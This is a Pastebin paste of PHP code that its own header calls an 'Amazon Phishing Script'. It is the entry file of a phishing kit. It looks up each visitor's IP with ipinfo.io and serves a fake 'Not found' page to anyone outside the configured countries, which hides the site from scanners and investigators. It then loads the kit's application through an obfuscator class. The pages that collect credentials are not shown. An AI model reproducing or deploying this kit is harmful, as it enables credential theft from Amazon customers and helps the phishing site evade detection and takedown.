Advertisement
Guest User

Untitled

a guest
Jun 24th, 2017
56
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.22 KB | None | 0 0
  1. <?php
  2. /**
  3. Amazon Phishing Script by Jony.
  4. */
  5.  
  6. define('SYSTEM', true);
  7.  
  8. session_start();
  9.  
  10. $cfg = require_once __DIR__ . '/config.php';
  11.  
  12. $ch = curl_init('http://ipinfo.io/' . $_SERVER['REMOTE_ADDR']);
  13. curl_setopt_array($ch, [
  14. CURLOPT_RETURNTRANSFER => true,
  15. CURLOPT_HEADER => false,
  16. CURLOPT_FOLLOWLOCATION => true,
  17. CURLOPT_AUTOREFERER => true,
  18. CURLOPT_MAXREDIRS => 10,
  19. CURLOPT_CONNECTTIMEOUT => 120,
  20. CURLOPT_TIMEOUT => 120,
  21. CURLOPT_ENCODING => '',
  22. CURLOPT_USERAGENT => ''
  23. ]);
  24.  
  25. $response = curl_exec($ch);
  26. curl_close($ch);
  27.  
  28. $json = json_decode($response, true);
  29. if(isset($json['country']) && !in_array(strtoupper($json['country']), (array) $cfg->geo)) {
  30. header('HTTP/1.0 404 Not Found');
  31. die('<h1>Not found</h1>');
  32. }
  33.  
  34. spl_autoload_register(function($className) {
  35. $classNameSplit = explode('\\', $className);
  36. $class = implode('/', $classNameSplit) . '.php';
  37.  
  38. if(file_exists($class)) {
  39. require_once $class;
  40. }
  41. });
  42.  
  43. use system\application\Application;
  44. use system\utils\Obfuscator;
  45.  
  46. $application = new Application($cfg, isset($_REQUEST['r']) ? '/' . $_REQUEST['r'] : '/', new Obfuscator());
  47.  
  48. $application->load();
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement